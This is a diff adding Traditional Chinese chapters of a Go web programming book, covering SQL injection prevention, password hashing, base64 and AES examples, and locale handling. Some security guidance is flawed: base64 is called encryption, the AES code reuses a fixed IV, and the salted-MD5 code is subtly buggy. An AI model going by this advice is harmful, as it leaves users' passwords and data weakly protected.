所有的查詢語句建議使用資料庫提供的參數化查詢介面,參數化的語句使用參數而不是將使用者輸入變數嵌入到 SQL 語句中,即不要直接拼接 SQL 語句。例如使用`database/sql`裡面的查詢函式 `Prepare` 和`Query`,或者`Exec(query string, args ...interface{})`。 +5. 在應用釋出之前建議使用專業的 SQL 注入檢測工具進行檢測,以及時修補被發現的 SQL 注入漏洞。網上有很多這方面的開源工具,例如 sqlmap、SQLninja 等。 +6. 避免網站顯示出 SQL 錯誤資訊,比如型別錯誤、欄位不匹配等,把程式碼裡的 SQL 語句暴露出來,以防止攻擊者利用這些錯誤資訊進行 SQL 注入。 + +## 總結 +透過上面的範例我們可以知道,SQL 注入是危害相當大的安全漏洞。所以對於我們平常編寫的 Web 應用,應該對於每一個小細節都要非常重視,細節決定命運,生活如此,編寫 Web 應用也是這樣。 + +## links + * [目錄]() + * 上一節:[避免 XSS 攻擊](<09.3.md>) + * 下一節:[儲存密碼](<09.5.md>) diff --git a/zh-tw/09.5.md b/zh-tw/09.5.md new file mode 100644 index 000000000..cad6aa28c --- /dev/null +++ b/zh-tw/09.5.md @@ -0,0 +1,99 @@ +# 9.5 儲存密碼 +過去一段時間以來, 許多的網站遭遇使用者密碼資料洩露事件, 這其中包括頂級的網際網路企業–Linkedin, 國內諸如 CSDN,該事件橫掃整個國內網際網路,隨後又爆出多玩遊戲 800 萬用戶資料被洩露,另有傳言人人網、開心網、天涯社群、世紀佳緣、百合網等社群都有可能成為黑客下一個目標。層出不窮的類似事件給使用者的網上生活造成巨大的影響,人人自危,因為人們往往習慣在不同網站使用相同的密碼,所以一家“暴函式庫”,全部遭殃。 + +那麼我們作為一個 Web 應用開發者,在選擇密碼儲存方案時, 容易掉入哪些陷阱, 以及如何避免這些陷阱? + +## 普通方案 +目前用的最多的密碼儲存方案是將明文密碼做單向雜湊後儲存,單向雜湊演算法有一個特徵:無法透過雜湊後的摘要(digest)還原原始資料,這也是“單向”二字的來源。常用的單向雜湊演算法包括 SHA-256, SHA-1, MD5 等。 + +Go 語言對這三種加密演算法的實現如下所示: + +```Go + +//import "crypto/sha256" +h := sha256.New() +io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") +fmt.Printf("% x", h.Sum(nil)) + +//import "crypto/sha1" +h := sha1.New() +io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") +fmt.Printf("% x", h.Sum(nil)) + +//import "crypto/md5" +h := md5.New() +io.WriteString(h, "需要加密的密碼") +fmt.Printf("%x", h.Sum(nil)) +``` + +單向雜湊有兩個特性: + +- 1)同一個密碼進行單向雜湊,得到的總是唯一確定的摘要。 +- 2)計算速度快。隨著技術進步,一秒鐘能夠完成數十億次單向雜湊計算。 + +結合上面兩個特點,考慮到多數人所使用的密碼為常見的組合,攻擊者可以將所有密碼的常見組合進行單向雜湊,得到一個摘要組合, 然後與資料庫中的摘要進行比對即可獲得對應的密碼。這個摘要組合也被稱為`rainbow table`。 + +因此透過單向加密之後儲存的資料,和明文儲存沒有多大區別。因此,一旦網站的資料庫洩露,所有使用者的密碼本身就大白於天下。 +## 進階方案 +透過上面介紹我們知道黑客可以用`rainbow table`來破解雜湊後的密碼,很大程度上是因為加密時使用的雜湊演算法是公開的。如果黑客不知道加密的雜湊演算法是什麼,那他也就無從下手了。 + +一個直接的解決辦法是,自己設計一個雜湊演算法。然而,一個好的雜湊演算法是很難設計的——既要避免碰撞,又不能有明顯的規律,做到這兩點要比想象中的要困難很多。因此實際應用中更多的是利用已有的雜湊演算法進行多次雜湊。 + +但是單純的多次雜湊,依然阻擋不住黑客。兩次 MD5、三次 MD5 之類別的方法,我們能想到,黑客自然也能想到。特別是對於一些開原始碼,這樣雜湊更是相當於直接把演算法告訴了黑客。 + +沒有攻不破的盾,但也沒有折不斷的矛。現在安全性比較好的網站,都會用一種叫做“加鹽”的方式來儲存密碼,也就是常說的 “salt”。他們通常的做法是,先將使用者輸入的密碼進行一次 MD5(或其它雜湊演算法)加密;將得到的 MD5 值前後加上一些只有管理員自己知道的隨機串,再進行一次 MD5 加密。這個隨機串中可以包括某些固定的串,也可以包括使用者名稱(用來保證每個使用者加密使用的金鑰都不一樣)。 + +```Go + +//import "crypto/md5" +//假設使用者名稱 abc,密碼 123456 + +h := md5.New() +io.WriteString(h, "需要加密的密碼") + +//pwmd5 等於 e10adc3949ba59abbe56e057f20f883e + +pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) + +//指定兩個 salt: salt1 = @#$% salt2 = ^&*() +salt1 := "@#$%" +salt2 := "^&*()" + +//salt1+使用者名稱+salt2+MD5 拼接 +io.WriteString(h, salt1) +io.WriteString(h, "abc") +io.WriteString(h, salt2) +io.WriteString(h, pwmd5) + +last :=fmt.Sprintf("%x", h.Sum(nil)) +``` + +在兩個 salt 沒有洩露的情況下,黑客如果拿到的是最後這個加密串,就幾乎不可能推算出原始的密碼是什麼了。 + +## 專家方案 +上面的進階方案在幾年前也許是足夠安全的方案,因為攻擊者沒有足夠的資源建立這麼多的`rainbow table`。 但是,時至今日,因為平行計算能力的提升,這種攻擊已經完全可行。 + +怎麼解決這個問題呢?只要時間與資源允許,沒有破譯不了的密碼,所以方案是 : 故意增加密碼計算所需耗費的資源和時間,使得任何人都不可獲得足夠的資源建立所需的`rainbow table`。 + +這類別方案有一個特點,演算法中都有個因子,用於指明計算密碼摘要所需要的資源和時間,也就是計算強度。計算強度越大,攻擊者建立`rainbow table`越困難,以至於不可繼續。 + +這裡推薦 `scrypt` 方案,scrypt 是由著名的 FreeBSD 黑客 Colin Percival 為他的備份服務 Tarsnap 開發的。 + +目前 Go 語言裡面支援的函式庫 https://github.com/golang/crypto/tree/master/scrypt + +```Go + +dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) +``` +透過上面的方法可以取得唯一的相應的密碼值,這是目前為止最難破解的。 + +## 總結 +看到這裡,如果你產生了危機感,那麼就行動起來: + +- 1)如果你是普通使用者,那麼我們建議使用 LastPass 進行密碼儲存和產生,對不同的網站使用不同的密碼; +- 2)如果你是開發人員, 那麼我們強烈建議你採用專家方案進行密碼儲存。 + +## links + * [目錄]() + * 上一節:[確保輸入過濾](<09.4.md>) + * 下一節:[加密和解密資料](<09.6.md>) diff --git a/zh-tw/09.6.md b/zh-tw/09.6.md new file mode 100644 index 000000000..a036f3d70 --- /dev/null +++ b/zh-tw/09.6.md @@ -0,0 +1,129 @@ +# 9.6 加密和解密資料 +前面小節介紹了如何儲存密碼,但是有的時候,我們想把一些敏感資料加密後儲存起來,在將來的某個時候,隨需將它們解密出來,此時我們應該在選用對稱加密演算法來滿足我們的需求。 + +## base64 加解密 +如果 Web 應用足夠簡單,資料的安全性沒有那麼嚴格的要求,那麼可以採用一種比較簡單的加解密方法是`base64`,這種方式實現起來比較簡單,Go 語言的 `base64` 套件已經很好的支援了這個,請看下面的例子: + +```Go + +package main + +import ( + "encoding/base64" + "fmt" +) + +func base64Encode(src []byte) []byte { + return []byte(base64.StdEncoding.EncodeToString(src)) +} + +func base64Decode(src []byte) ([]byte, error) { + return base64.StdEncoding.DecodeString(string(src)) +} + +func main() { + // encode + hello := "你好,世界! hello world" + debyte := base64Encode([]byte(hello)) + fmt.Println(debyte) + // decode + enbyte, err := base64Decode(debyte) + if err != nil { + fmt.Println(err.Error()) + } + + if hello != string(enbyte) { + fmt.Println("hello is not equal to enbyte") + } + + fmt.Println(string(enbyte)) +} +``` + +## 高階加解密 + +Go 語言的 `crypto` 裡面支援對稱加密的高階加解密套件有: + +- `crypto/aes`套件:AES(Advanced Encryption Standard),又稱 Rijndael 加密法,是美國聯邦政府採用的一種區塊加密標準。 +- `crypto/des`套件:DES(Data Encryption Standard),是一種對稱加密標準,是目前使用最廣泛的金鑰系統,特別是在保護金融資料的安全中。曾是美國聯邦政府的加密標準,但現已被 AES 所替代。 + +因為這兩種演算法使用方法類似,所以在此,我們僅用 aes 套件為例來講解它們的使用,請看下面的例子 + +```Go + +package main + +import ( + "crypto/aes" + "crypto/cipher" + "fmt" + "os" +) + +var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} + +func main() { + //需要去加密的字串 + plaintext := []byte("My name is Astaxie") + //如果傳入加密串的話,plaint 就是傳入的字串 + if len(os.Args) > 1 { + plaintext = []byte(os.Args[1]) + } + + //aes 的加密字串 + key_text := "astaxie12798akljzmknm.ahkjkljl;k" + if len(os.Args) > 2 { + key_text = os.Args[2] + } + + fmt.Println(len(key_text)) + + // 建立加密演算法 aes + + c, err := aes.NewCipher([]byte(key_text)) + if err != nil { + fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) + os.Exit(-1) + } + + //加密字串 + cfb := cipher.NewCFBEncrypter(c, commonIV) + ciphertext := make([]byte, len(plaintext)) + cfb.XORKeyStream(ciphertext, plaintext) + fmt.Printf("%s=>%x\n", plaintext, ciphertext) + + // 解密字串 + cfbdec := cipher.NewCFBDecrypter(c, commonIV) + plaintextCopy := make([]byte, len(plaintext)) + cfbdec.XORKeyStream(plaintextCopy, ciphertext) + fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) +} +``` + +上面透過呼叫函式`aes.NewCipher`(參數 key 必須是 16、24 或者 32 位的[]byte,分別對應 AES-128, AES-192 或 AES-256 演算法),回傳了一個`cipher.Block`介面,這個介面實現了三個功能: + +```Go + +type Block interface { + // BlockSize returns the cipher's block size. + BlockSize() int + + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) + + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) +} +``` +這三個函式實現了加解密操作,詳細的操作請看上面的例子。 + +## 總結 +這小節介紹了幾種加解密的演算法,在開發 Web 應用的時候可以根據需求採用不同的方式進行加解密,一般的應用可以採用 base64 演算法,更加進階的話可以採用 aes 或者 des 演算法。 + + +## links + * [目錄]() + * 上一節:[儲存密碼](<09.5.md>) + * 下一節:[小結](<09.7.md>) diff --git a/zh-tw/09.7.md b/zh-tw/09.7.md new file mode 100644 index 000000000..4b246a72a --- /dev/null +++ b/zh-tw/09.7.md @@ -0,0 +1,9 @@ +# 9.7 小結 +這一章主要介紹了如:CSRF 攻擊、XSS 攻擊、SQL 注入攻擊等一些 Web 應用中典型的攻擊手法,它們都是由於應用對使用者的輸入沒有很好的過濾引起的,所以除了介紹攻擊的方法外,我們也介紹了了如何有效的進行資料過濾,以防止這些攻擊的發生的方法。然後針對日異嚴重的密碼洩漏事件,介紹了在設計 Web 應用中可採用的從基本到專家的加密方案。最後針對敏感資料的加解密簡要介紹了,Go 語言提供三種對稱加密演算法:base64、aes 和 des 的實現。 + +編寫這一章的目的是希望讀者能夠在意識裡面加強安全概念,在編寫 Web 應用的時候多留心一點,以使我們編寫的 Web 應用能遠離黑客們的攻擊。Go 語言在支援防攻擊方面已經提供大量的工具套件,我們可以充分的利用這些套件來做出一個安全的 Web 應用。 + +## links + * [目錄]() + * 上一節:[加密和解密資料](<09.6.md>) + * 下一章:[國際化和本地化](<10.0.md>) diff --git a/zh-tw/10.0.md b/zh-tw/10.0.md new file mode 100644 index 000000000..8ad74b660 --- /dev/null +++ b/zh-tw/10.0.md @@ -0,0 +1,25 @@ +# 10 國際化和本地化 +為了適應經濟的全球一體化,作為開發者,我們需要開發出支援多國語言、國際化的 Web 應用,即同樣的頁面在不同的語言環境下需要顯示不同的效果,也就是說應用程式在執行時能夠根據請求所來自的地域與語言的不同而顯示不同的使用者介面。這樣,當需要在應用程式中新增對新的語言的支援時,無需修改應用程式的程式碼,只需要增加語言套件即可實現。 + +國際化與本地化(Internationalization and localization,通常用 i18n 和 L10N 表示),國際化是將針對某個地區設計的程式進行重構,以使它能夠在更多地區使用,本地化是指在一個針對國際化的程式中增加對新地區的支援。 + +目前,Go 語言的標準套件沒有提供對 i18n 的支援,但有一些比較簡單的第三方實現,這一章我們將實現一個 go-i18n 函式庫,用來支援 Go 語言的 i18n。 + +所謂的國際化:就是根據特定的 locale 資訊,提取與之相應的字串或其它一些東西(比如時間和貨幣的格式)等等。這涉及到三個問題: + +1、如何確定 locale。 + +2、如何儲存與 locale 相關的字串或其它資訊。 + +3、如何根據 locale 提取字串和其它相應的資訊。 + +在第一小節裡,我們將介紹如何設定正確的 locale 以便讓訪問站點的使用者能夠獲得與其語言相應的頁面。第二小節將介紹如何處理或儲存字串、貨幣、時間日期等與 locale 相關的資訊,第三小節將介紹如何實現國際化站點,即如何根據不同 locale 回傳不同合適的內容。透過這三個小節的學習,我們將獲得一個完整的 i18n 方案。 + +## 目錄 + + ![](images/navi10.png) + +## links + * [目錄]() + * 上一章:[第九章總結](<09.7.md>) + * 下一節:[設定預設地區](<10.1.md>) diff --git a/zh-tw/10.1.md b/zh-tw/10.1.md new file mode 100644 index 000000000..d90b8ae28 --- /dev/null +++ b/zh-tw/10.1.md @@ -0,0 +1,99 @@ +# 10.1 設定預設地區 +## 什麼是 Locale + +Locale 是一組描述世界上某一特定區域文字格式和語言習慣的設定的集合。locale 名通常由三個部分組成:第一部分,是一個強制性的,表示語言的縮寫,例如"en"表示英文或"zh"表示中文。第二部分,跟在一個下劃線之後,是一個可選的國家說明符,用於區分講同一種語言的不同國家,例如"en_US"表示美國英語,而"en_UK"表示英國英語。最後一部分,跟在一個句點之後,是可選的字符集說明符,例如"zh_CN.gb2312"表示中國使用 gb2312 字符集。 + +GO 語言預設採用"UTF-8"編碼集,所以我們實現 i18n 時不考慮第三部分,接下來我們都採用 locale 描述的前面兩部分來作為 i18n 標準的 locale 名。 + + +>在 Linux 和 Solaris 系統中可以透過 `locale -a` 命令列舉所有支援的地區名,讀者可以看到這些地區名的命名規範。對於 BSD 等系統,沒有 locale 命令,但是地區資訊儲存在/usr/share/locale 中。 + +## 設定 Locale + +有了上面對 locale 的定義,那麼我們就需要根據使用者的資訊(訪問資訊、個人資訊、訪問域名等)來設定與之相關的 locale,我們可以透過如下幾種方式來設定使用者的 locale。 + +### 透過域名設定 Locale + +設定 Locale 的辦法之一是在應用執行的時候採用域名分級的方式,例如,我們採用 www.asta.com 當做我們的英文站(預設站),而把域名 www.asta.cn 當做中文站。這樣透過在應用裡面設定域名和相應的 locale 的對應關係,就可以設定好地區。這樣處理有幾點好處: + +- 透過 URL 就可以很明顯的識別 +- 使用者可以透過域名很直觀的知道將訪問那種語言的站點 +- 在 Go 程式中實現非常的簡單方便,透過一個 map 就可以實現 +- 有利於搜尋引擎抓取,能夠提高站點的 SEO + + +我們可以透過下面的程式碼來實現域名的對應 locale: + +```Go + +if r.Host == "www.asta.com" { + i18n.SetLocale("en") +} else if r.Host == "www.asta.cn" { + i18n.SetLocale("zh-CN") +} else if r.Host == "www.asta.tw" { + i18n.SetLocale("zh-TW") +} +``` +當然除了整域名設定地區之外,我們還可以透過子域名來設定地區,例如"en.asta.com"表示英文站點,"cn.asta.com"表示中文站點。實現程式碼如下所示: + +```Go + +prefix := strings.Split(r.Host,".") + +if prefix[0] == "en" { + i18n.SetLocale("en") +} else if prefix[0] == "cn" { + i18n.SetLocale("zh-CN") +} else if prefix[0] == "tw" { + i18n.SetLocale("zh-TW") +} +``` +透過域名設定 Locale 有如上所示的優點,但是我們一般開發 Web 應用的時候不會採用這種方式,因為首先域名成本比較高,開發一個 Locale 就需要一個域名,而且往往統一名稱的域名不一定能申請的到,其次我們不願意為每個站點去本地化一個配置,而更多的是採用 url 後面帶參數的方式,請看下面的介紹。 + +### 從域名參數設定 Locale + +目前最常用的設定 Locale 的方式是在 URL 裡面帶上參數,例如 www.asta.com/hello?locale=zh 或者 www.asta.com/zh/hello 。這樣我們就可以設定地區:`i18n.SetLocale(params["locale"])`。 + +這種設定方式幾乎擁有前面講的透過域名設定 Locale 的所有優點,它採用 RESTful 的方式,以使得我們不需要增加額外的方法來處理。但是這種方式需要在每一個的 link 裡面增加相應的參數 locale,這也許有點複雜而且有時候甚至相當的繁瑣。不過我們可以寫一個通用的函式 url,讓所有的 link 地址都透過這個函式來產生,然後在這個函式裡面增加`locale=params["locale"]`參數來緩解一下。 + +也許我們希望 URL 地址看上去更加的 RESTful 一點,例如:www.asta.com/en/books (英文站點)和 www.asta.com/zh/books (中文站點),這種方式的 URL 更加有利於 SEO,而且對於使用者也比較友好,能夠透過 URL 直觀的知道訪問的站點。那麼這樣的 URL 地址可以透過 router 來取得 locale(參考 REST 小節裡面介紹的 router 外掛實現): + +```Go + +mux.Get("/:locale/books", listbook) +``` +### 從客戶端設定地區 +在一些特殊的情況下,我們需要根據客戶端的資訊而不是透過 URL 來設定 Locale,這些資訊可能來自於客戶端設定的喜好語言(瀏覽器中設定),使用者的 IP 地址,使用者在註冊的時候填寫的所在地資訊等。這種方式比較適合 Web 為基礎的應用。 + +- Accept-Language + +客戶端請求的時候在 HTTP 頭資訊裡面有`Accept-Language`,一般的客戶端都會設定該資訊,下面是 Go 語言實現的一個簡單的根據`Accept-Language`實現設定地區的程式碼: + +```Go + +AL := r.Header.Get("Accept-Language") +if AL == "en" { + i18n.SetLocale("en") +} else if AL == "zh-CN" { + i18n.SetLocale("zh-CN") +} else if AL == "zh-TW" { + i18n.SetLocale("zh-TW") +} +``` +當然在實際應用中,可能需要更加嚴格的判斷來進行設定地區 +- IP 地址 + + 另一種根據客戶端來設定地區就是使用者訪問的 IP,我們根據相應的 IP 函式庫,對應訪問的 IP 到地區,目前全球比較常用的就是 GeoIP Lite Country 這個函式庫。這種設定地區的機制非常簡單,我們只需要根據 IP 資料庫查詢使用者的 IP 然後回傳國家地區,根據回傳的結果設定對應的地區。 + +- 使用者 profile + + + 當然你也可以讓使用者根據你提供的下拉選單或者別的什麼方式的設定相應的 locale,然後我們將使用者輸入的資訊,儲存到與它帳號相關的 profile 中,當用戶再次登陸的時候把這個設定複寫到 locale 設定中,這樣就可以保證該使用者每次訪問都是基於自己先前設定的 locale 來獲得頁面。 + +## 總結 +透過上面的介紹可知,設定 Locale 可以有很多種方式,我們應該根據需求的不同來選擇不同的設定 Locale 的方法,以讓使用者能以它最熟悉的方式,獲得我們提供的服務,提高應用的使用者友好性。 + +## links + * [目錄]() + * 上一節:[國際化和本地化](<10.0.md>) + * 下一節:[本地化資源](<10.2.md>) diff --git a/zh-tw/10.2.md b/zh-tw/10.2.md new file mode 100644 index 000000000..55ffb24b9 --- /dev/null +++ b/zh-tw/10.2.md @@ -0,0 +1,155 @@ + +# 10.2 本地化資源 +前面小節我們介紹了如何設定 Locale,設定好 Locale 之後我們需要解決的問題就是如何儲存相應的 Locale 對應的資訊呢?這裡面的資訊包括:文字資訊、時間和日期、貨幣值、圖片、包含檔案以及檢視等資源。那麼接下來我們將對這些資訊一一進行介紹,Go 語言中我們把這些格式資訊儲存在 JSON 中,然後透過合適的方式展現出來。(接下來以中文和英文兩種語言對比舉例,儲存格式檔案 en.json 和 zh-CN.json) +## 本地化文字訊息 +文字資訊是編寫 Web 應用中最常用到的,也是本地化資源中最多的資訊,想要以適合本地語言的方式來顯示文字資訊,可行的一種方案是 : 建立需要的語言相應的 map 來維護一個 key-value 的關係,在輸出之前按需從適合的 map 中去取得相應的文字,如下是一個簡單的範例: + +```Go + +package main + +import "fmt" + +var locales map[string]map[string]string + +func main() { + locales = make(map[string]map[string]string, 2) + en := make(map[string]string, 10) + en["pea"] = "pea" + en["bean"] = "bean" + locales["en"] = en + cn := make(map[string]string, 10) + cn["pea"] = "豌豆" + cn["bean"] = "毛豆" + locales["zh-CN"] = cn + lang := "zh-CN" + fmt.Println(msg(lang, "pea")) + fmt.Println(msg(lang, "bean")) +} + +func msg(locale, key string) string { + if v, ok := locales[locale]; ok { + if v2, ok := v[key]; ok { + return v2 + } + } + return "" +} +``` + +上面範例示範了不同 locale 的文字翻譯,實現了中文和英文對於同一個 key 顯示不同語言的實現,上面實現了中文的文字訊息,如果想切換到英文版本,只需要把 lang 設定為 en 即可。 + +有些時候僅是 key-value 替換是不能滿足需要的,例如"I am 30 years old",中文表達是"我今年 30 歲了",而此處的 30 是一個變數,該怎麼辦呢?這個時候,我們可以結合`fmt.Printf`函式來實現,請看下面的程式碼: + +```Go + +en["how old"] ="I am %d years old" +cn["how old"] ="我今年%d 歲了" + +fmt.Printf(msg(lang, "how old"), 30) +``` +上面的範例程式碼僅用以示範內部的實現方案,而實際資料是儲存在 JSON 裡面的,所以我們可以透過`json.Unmarshal`來為相應的 map 填充資料。 + +## 本地化日期和時間 +因為時區的關係,同一時刻,在不同的地區,表示是不一樣的,而且因為 Locale 的關係,時間格式也不盡相同,例如中文環境下可能顯示:`2012 年 10 月 24 日 星期三 23 時 11 分 13 秒 CST`,而在英文環境下可能顯示:`Wed Oct 24 23:11:13 CST 2012`。這裡面我們需要解決兩點: + +1. 時區問題 +2. 格式問題 + +$GOROOT/lib/time 套件中的 timeinfo.zip 含有 locale 對應的時區的定義,為了獲得對應於當前 locale 的時間,我們應首先使用`time.LoadLocation(name string)`取得相應於地區的 locale,比如`Asia/Shanghai`或`America/Chicago`對應的時區資訊,然後再利用此資訊與呼叫`time.Now`獲得的 Time 物件協作來獲得最終的時間。詳細的請看下面的例子(該例子採用上面例子的一些變數): + +```Go + +en["time_zone"]="America/Chicago" +cn["time_zone"]="Asia/Shanghai" + +loc,_:=time.LoadLocation(msg(lang,"time_zone")) +t:=time.Now() +t = t.In(loc) +fmt.Println(t.Format(time.RFC3339)) +``` + +我們可以透過類似處理文字格式的方式來解決時間格式的問題,舉例如下: + +```Go + +en["date_format"]="%Y-%m-%d %H:%M:%S" +cn["date_format"]="%Y 年%m 月%d 日 %H 時%M 分%S 秒" + +fmt.Println(date(msg(lang,"date_format"),t)) + +func date(fomate string,t time.Time) string{ + year, month, day = t.Date() + hour, min, sec = t.Clock() + //解析相應的%Y %m %d %H %M %S 然後回傳資訊 + //%Y 替換成 2012 + + //%m 替換成 10 + + //%d 替換成 24 + +} +``` + +## 本地化貨幣值 +各個地區的貨幣表示也不一樣,處理方式也與日期差不多,細節請看下面程式碼: + +```Go + +en["money"] ="USD %d" +cn["money"] ="¥%d 元" + +fmt.Println(money_format(msg(lang,"money"),100)) + +func money_format(fomate string,money int64) string{ + return fmt.Sprintf(fomate,money) +} +``` + +## 本地化檢視和資源 +我們可能會根據 Locale 的不同來展示檢視,這些檢視包含不同的圖片、css、js 等各種靜態資源。那麼應如何來處理這些資訊呢?首先我們應按 locale 來組織檔案資訊,請看下面的檔案目錄安排: +```html + +views +|--en //英文範本 + |--images //儲存圖片資訊 + |--js //儲存 JS 檔案 + |--css //儲存 css 檔案 + index.tpl //使用者首頁 + login.tpl //登陸首頁 +|--zh-CN //中文範本 + |--images + |--js + |--css + index.tpl + login.tpl +``` + +有了這個目錄結構後我們就可以在渲染的地方這樣來實現程式碼: + +```Go + +s1, _ := template.ParseFiles("views/"+lang+"/index.tpl") +VV.Lang=lang +s1.Execute(os.Stdout, VV) +``` +而對於裡面的 index.tpl 裡面的資源設定如下: +```html + +// js 檔案 + +// css 檔案 + +// 圖片檔案 + +``` +採用這種方式來本地化檢視以及資源時,我們就可以很容易的進行擴充套件了。 + +## 總結 +本小節介紹了如何使用及儲存本地資源,有時需要透過轉換函式來實現,有時透過 lang 來設定,但是最終都是透過 key-value 的方式來儲存 Locale 對應的資料,在需要時取出相應於 Locale 的資訊後,如果是文字資訊就直接輸出,如果是時間日期或者貨幣,則需要先透過`fmt.Printf`或其他格式化函式來處理,而對於不同 Locale 的檢視和資源則是最簡單的,只要在路徑裡面增加 lang 就可以實現了。 + +## links + * [目錄]() + * 上一節:[設定預設地區](<10.1.md>) + * 下一節:[國際化站點](<10.3.md>) + diff --git a/zh-tw/10.3.md b/zh-tw/10.3.md new file mode 100644 index 000000000..9dce6a8fe --- /dev/null +++ b/zh-tw/10.3.md @@ -0,0 +1,214 @@ + +# 10.3 國際化站點 +前面小節介紹了如何處理本地化資源,即 Locale 一個相應的配置檔案,那麼如果處理多個的本地化資源呢?而對於一些我們經常用到的例如:簡單的文字翻譯、時間日期、數字等如果處理呢?本小節將一一解決這些問題。 +## 管理多個本地包 +在開發一個應用的時候,首先我們要決定是隻支援一種語言,還是多種語言,如果要支援多種語言,我們則需要制定一個組織結構,以方便將來更多語言的新增。在此我們設計如下:Locale 有關的檔案放置在 config/locales 下,假設你要支援中文和英文,那麼你需要在這個資料夾下放置 en.json 和 zh.json。大概的內容如下所示: +```json + +# zh.json + +{ +"zh": { + "submit": "提交", + "create": "建立" + } +} + +# en.json + +{ +"en": { + "submit": "Submit", + "create": "Create" + } +} +``` + +為了支援國際化,在此我們使用了一個國際化相關的套件——[go-i18n](https://github.com/astaxie/go-i18n),首先我們向 go-i18n 套件註冊 config/locales 這個目錄,以載入所有的 locale 檔案 + +```Go + +Tr:=i18n.NewLocale() +Tr.LoadPath("config/locales") +``` + +這個套件使用起來很簡單,你可以透過下面的方式進行測試: + +```Go + +fmt.Println(Tr.Translate("submit")) +//輸出 Submit + +Tr.SetLocale("zh") +fmt.Println(Tr.Translate("submit")) +//輸出“提交” +``` +## 自動載入本地套件 + +上面我們介紹了如何自動載入自訂語言套件,其實 go-i18n 函式庫已經預載入了很多預設的格式資訊,例如時間格式、貨幣格式,使用者可以在自訂配置時改寫這些預設配置,請看下面的處理過程: + +```Go + +//載入預設配置檔案,這些檔案都放在 go-i18n/locales 下面 + +//檔案命名 zh.json、en.json、en-US.json 等,可以不斷的擴充套件支援更多的語言 + +func (il *IL) loadDefaultTranslations(dirPath string) error { + dir, err := os.Open(dirPath) + if err != nil { + return err + } + defer dir.Close() + + names, err := dir.Readdirnames(-1) + if err != nil { + return err + } + + for _, name := range names { + fullPath := path.Join(dirPath, name) + + fi, err := os.Stat(fullPath) + if err != nil { + return err + } + + if fi.IsDir() { + if err := il.loadTranslations(fullPath); err != nil { + return err + } + } else if locale := il.matchingLocaleFromFileName(name); locale != "" { + file, err := os.Open(fullPath) + if err != nil { + return err + } + defer file.Close() + + if err := il.loadTranslation(file, locale); err != nil { + return err + } + } + } + + return nil +} +``` + +透過上面的方法載入配置資訊到預設的檔案,這樣我們就可以在我們沒有自訂時間資訊的時候執行如下的程式碼取得對應的資訊: + +```Go + +//locale=zh 的情況下,執行如下程式碼: + +fmt.Println(Tr.Time(time.Now())) +//輸出:2009 年 1 月 08 日 星期四 20:37:58 CST + +fmt.Println(Tr.Time(time.Now(),"long")) +//輸出:2009 年 1 月 08 日 + +fmt.Println(Tr.Money(11.11)) +//輸出:¥11.11 +``` +## template mapfunc +上面我們實現了多個語言套件的管理和載入,而一些函式的實現是基於邏輯層的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等,雖然我們在邏輯層可以利用這些函式把需要的參數進行轉換後在範本層渲染的時候直接輸出,但是如果我們想在模版層直接使用這些函式該怎麼實現呢?不知你是否還記得,在前面介紹範本的時候說過:Go 語言的範本支援自訂範本函式,下面是我們實現的方便操作的 mapfunc: + +1. 文字資訊 + +文字資訊呼叫`Tr.Translate`來實現相應的資訊轉換,mapFunc 的實現如下: + +```Go + +func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Translate(s) +} +``` + +註冊函式如下: + +```Go + +t.Funcs(template.FuncMap{"T": I18nT}) +``` +範本中使用如下: + +```Go + +{{.V.Submit | T}} +``` + +2. 時間日期 + +時間日期呼叫`Tr.Time`函式來實現相應的時間轉換,mapFunc 的實現如下: + +```Go + +func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Time(s) +} +``` +註冊函式如下: + +```Go + +t.Funcs(template.FuncMap{"TD": I18nTimeDate}) +``` +範本中使用如下: + +```Go + +{{.V.Now | TD}} +``` +3. 貨幣資訊 + +貨幣呼叫`Tr.Money`函式來實現相應的時間轉換,mapFunc 的實現如下: + +```Go + +func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Money(s) +} +``` +註冊函式如下: + +```Go + +t.Funcs(template.FuncMap{"M": I18nMoney}) +``` +範本中使用如下: + +```Go + +{{.V.Money | M}} +``` +## 總結 +透過這小節我們知道了如何實現一個多語言套件的 Web 應用,透過自訂語言套件我們可以方便的實現多語言,而且透過配置檔案能夠非常方便的擴充多語言,預設情況下,go-i18n 會自定載入一些公共的配置資訊,例如時間、貨幣等,我們就可以非常方便的使用,同時為了支援在範本中使用這些函式,也實現了相應的範本函式,這樣就允許我們在開發 Web 應用的時候直接在範本中透過 pipeline 的方式來操作多語言套件。 + +## links + * [目錄]() + * 上一節:[本地化資源](<10.2.md>) + * 下一節:[小結](<10.4.md>) + diff --git a/zh-tw/10.4.md b/zh-tw/10.4.md new file mode 100644 index 000000000..e4e7f436a --- /dev/null +++ b/zh-tw/10.4.md @@ -0,0 +1,6 @@ +# 10.4 小結 +透過這一章的介紹,讀者應該對如何操作 i18n 有了深入的了解,我也根據這一章介紹的內容實現了一個開源的解決方案 go-i18n:https://github.com/astaxie/go-i18n 透過這個開源函式庫我們可以很方便的實現多語言版本的 Web 應用,使得我們的應用能夠輕鬆的實現國際化。如果你發現這個開源函式庫中的錯誤或者那些缺失的地方,請一起參與到這個開源專案中來,讓我們的這個函式庫爭取成為 Go 的標準函式庫。 +## links + * [目錄]() + * 上一節:[國際化站點](<10.3.md>) + * 下一章:[錯誤處理,故障排除和測試](<11.0.md>) diff --git a/zh-tw/11.0.md b/zh-tw/11.0.md new file mode 100644 index 